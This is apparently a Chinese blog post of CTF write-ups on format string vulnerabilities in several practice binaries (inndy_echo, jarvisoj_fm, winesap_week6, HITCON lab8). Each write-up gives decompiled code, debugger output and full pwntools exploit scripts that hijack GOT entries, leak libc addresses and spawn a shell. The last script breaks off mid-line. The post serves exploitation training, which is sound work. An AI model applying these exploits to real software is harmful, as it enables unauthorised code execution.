c语言格式化字符漏洞,格式化字符串漏洞题目练习

整合一下最近做的格式化字符串题目的练习,把wp给写一下,方便对总结对这个漏洞的利用套路和技巧。inndy_echo保护和arch[*] '/media/psf/mypwn2/buuctf/inndy_echo/echo'Arch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX enabl...
摘要由CSDN通过智能技术生成

整合一下最近做的格式化字符串题目的练习,把wp给写一下,方便对总结对这个漏洞的利用套路和技巧。

inndy_echo

保护和arch

[*] '/media/psf/mypwn2/buuctf/inndy_echo/echo'

Arch: i386-32-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x8048000)

ida分析

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)

{

char s; // [esp+Ch] [ebp-10Ch]

unsigned int v4; // [esp+10Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);

setvbuf(stdin, 0, 2, 0);

setvbuf(stdout, 0, 2, 0);

do

{

fgets(&s, 256, stdin);

printf(&s);

}

while ( strcmp(&s, "exit\n") );

system("echo Goodbye");

exit(0);

}

可以看到会无限的打印你输入的东西,并且有system这个函数,利用思路也就是GOT hijack,把printf函数的got改为system的plt,注意要单次printf多次写入,改为system的plt后,再传过去 /bin/sh ,此时就会变成 system(/bin/sh)

gdb调试

gdb-peda$ stack 0x20

0000| 0xffffd250 --> 0xffffd26c ("AAAA\n")

0004| 0xffffd254 --> 0x100

0008| 0xffffd258 --> 0xf7fb25a0 --> 0xfbad208b

0012| 0xffffd25c --> 0x0

0016| 0xffffd260 --> 0xf7ffd000 --> 0x23f40

0020| 0xffffd264 --> 0x80482e7 ("__libc_start_main")

0024| 0xffffd268 --> 0xf63d4e2e

0028| 0xffffd26c ("AAAA\n")

gdb-peda$ fmtarg 0xffffd26c

The index of format argument : 7 ("\%6$p")

确定偏移是7,打算一会写payload时候需要补齐,就 .ljust 补成0x20的,也就是 offset = 7 + 0x20/4 = 15

exp

from pwn import *

context.log_level = 'debug'

context.arch = 'i386'

# io = process('./echo')

io = remote('node3.buuoj.cn',26990)

system_plt = 0x08048400

printf_got = 0x0804A010

def fmt_short(prev,val,idx,byte = 2):

result = ""

if prev < val :

result += "%" + str(val - prev) + "c"

elif prev == val :

result += ''

else :

result += "%" + str(256**byte - prev + val) + "c"

result += "%" + str(idx) + "$hn"

return result

prev = 0

payload = ""

key = 0x08048400

for i in range(2):

payload +=fmt_short(prev,(key >> 16*i) & 0xffff,15+i)

prev = (key >> i*16) & 0xffff

payload = payload.ljust(0x20,'a') + p32(printf_got) + p32(printf_got+2)

raw_input('->')

io.sendline(payload)

io.send('/bin/sh\x00')

io.interactive()

换一种就是用pwntools模块,面对32位,这种情况还是很好用的:

from pwn import *

context.log_level = 'debug'

context.arch = 'i386'

# io = process('./echo')

io = remote('node3.buuoj.cn',26990)

system_plt = 0x08048400

printf_got = 0x0804A010

payload = fmtstr_payload(7,{printf_got : system_plt})

io.sendline(payload)

io.send('/bin/sh\x00')

io.interactive()

[DEBUG] Sent 0x3c bytes:

00000000 10 a0 04 08 11 a0 04 08 12 a0 04 08 13 a0 04 08 │····│····│····│····│

00000010 25 32 34 30 63 25 37 24 68 68 6e 25 31 33 32 63 │%240│c%7$│hhn%│132c│

00000020 25 38 24 68 68 6e 25 31 32 38 63 25 39 24 68 68 │%8$h│hn%1│28c%│9$hh│

00000030 6e 25 34 63 25 31 30 24 68 68 6e 0a │n%4c│%10$│hhn·││

0000003c

可以看一下其生成的payload,把目标地址信息放在开头,在64位是肯定是不可行的。

jarvisoj_fm

ida分析

int __cdecl main(int argc, const char **argv, const char **envp)

{

char buf; // [esp+2Ch] [ebp-5Ch]

unsigned int v5; // [esp+7Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);

be_nice_to_people();

memset(&buf, 0, 0x50u);

read(0, &buf, 0x50u);

printf(&buf);

printf("%d!\n", *(_DWORD *)&x);

if ( *(_DWORD *)&x != 4 )

return 0;

puts("running sh...");

system("/bin/sh");

return 0;

}

十分简单的题目,检验 x 值是否为4,如果是4(数字),就直接给你shell了。

exp

from pwn import *

context.log_level = 'debug'

# io = process('./fm')

io = remote('node3.buuoj.cn',26915)

# io.recv()

payload = p32(0x0804A02C) + '%11$hn'

raw_input('->')

io.sendline(payload)

io.interactive()

winesap_week6

源码:

#include

int main() {

setvbuf(stdout, 0, _IONBF, 0);

alarm(180);

char str[100];

while(gets(str)) {

printf(str);

}

return 0;

}

需要编译为64位,这个题比起来第一个也就是没有了system函数,需要自己泄漏一下libc的base,算出system地址,然后还是GOT hijack就可以了。

EXP

from pwn import *

import time

context.arch = 'amd64'

context.log_level = 'debug'

io = process('./fmt1')

elf = ELF('./fmt1')

libc = elf.libc

printf_got = 0x0000601020

io.sendline('%21$p')

io.recvuntil('0x')

libc_base = int((io.recv(12)),16) - 240 -libc.symbols['__libc_start_main']

system_addr = libc_base + libc.symbols['system']

print('leak_libc_base: ' + hex(libc_base))

print('system_addr: ' + hex(system_addr))

def fmt_short(prev,val,idx,byte = 2):

result = ""

if prev < val :

result += "%" + str(val - prev) + "c"

elif prev == val :

result += ''

else :

result += "%" + str(256**byte - prev + val) + "c"

result += "%" + str(idx) + "$hn"

return result

prev = 0

payload = ""

key = system_addr

for i in range(3):

payload +=fmt_short(prev,(key >> 16*i) & 0xffff,12+i)

prev = (key >> i*16) & 0xffff

payload = payload.ljust(0x30,'a') + p64(printf_got) +p64(printf_got+2) + p64(printf_got+4)

io.sendline(payload)

sleep(1)

io.sendline('/bin/sh\x00')

io.interactive()

HITCON-Training-lab8

源码

#include

int magic = 0 ;

int main(){

char buf[0x100];

setvbuf(stdout,0,2,0);

puts("Please crax me !");

printf("Give me magic :");

read(0,buf,0x100);

printf(buf);

if(magic == 0xda){

system("cat /home/craxme/flag");

}else if(magic == 0xfaceb00c){

system("cat /home/craxme/craxflag");

}else{

puts("You need be a phd");

}

}

编译为64位。

分析

(这个题目是纯粹就是为了练习任意地址写入的,我这里就直接写exp拿sheel了。)可以看到当再一次printf,之后程序便停止了,且结束前有puts函数。

思路就是可以GOT hijack put函数的GOT为read函数哪里,让其call puts函数时返回到read函数,并且在这次printf函数漏洞利用时,也把printf函数的GOT改为system的plt,然后传入 /bin/sh 即可。

exp

from pwn import *

context.log_level = 'debug'

context.arch = 'amd64'

io = process('./craxme')

# io = remote('127.0.0.1',8888)

magic = 0x0000060106C

io.recvuntil(':')

system_plt = 0x04005A0

puts_got = 0x0601018

ret_addr = 0x00400747

printf_got = 0x00601030

key = 0x00400747

key2 = 0x04005A0

def fmt_short(prev,val,idx,byte = 2):

result = ""

if prev < val :

result += "%" + str(val - prev) + "c"

elif prev == val :

result += ''

else :

result += "

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值